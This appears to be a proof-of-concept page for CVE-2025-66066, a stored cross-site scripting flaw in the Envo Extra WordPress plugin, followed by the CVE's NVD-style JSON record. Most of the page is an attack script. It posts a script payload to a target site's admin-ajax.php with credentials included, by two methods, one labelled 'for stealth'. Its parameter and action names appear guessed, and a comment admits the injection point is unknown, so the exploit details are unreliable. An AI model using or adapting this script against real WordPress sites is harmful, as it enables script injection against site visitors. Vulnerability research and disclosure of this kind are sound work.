CVE-2025-66066

<!-- CVE-2025-66066 Stored XSS PoC for Envo Extra Plugin --> <!-- This PoC demonstrates the stored XSS vulnerability in Envo Extra plugin --> <!-- Replace TARGET_URL with the vulnerable website URL --> <script> // Stored XSS PoC for CVE-2025-66066 // Target: Envo Extra WordPress Plugin <= 1.9.11 const targetUrl = 'TARGET_URL'; const payload = '<script>alert("XSS - CVE-2025-66066")</script>'; // Example: Injecting XSS payload through plugin's vulnerable input field // The exact injection point depends on the specific vulnerable functionality // Method 1: Direct form submission const formData = new FormData(); formData.append('envo_extra_field', payload); fetch(targetUrl + '/wp-admin/admin-ajax.php', { method: 'POST', body: formData, credentials: 'include' }) .then(response => response.text()) .then(data => console.log('Payload submitted:', data)) .catch(error => console.error('Error:', error)); // Method 2: Using XMLHttpRequest for stealth const xhr = new XMLHttpRequest(); xhr.open('POST', targetUrl + '/wp-admin/admin-ajax.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('action=envo_extra_save&field_name=xss_test&field_value=' + encodeURIComponent(payload)); // Payload will be stored and executed when other users visit the affected page </script>

{"cve": {"id": "CVE-2025-66066", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:47.653", "lastModified": "2026-04-27T18:16:32.677", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in EnvoThemes Envo Extra envo-extra allows Stored XSS.This issue affects Envo Extra: from n/a through <= 1.9.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/envo-extra/vulnerability/wordpress-envo-extra-plugin-1-9-11-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}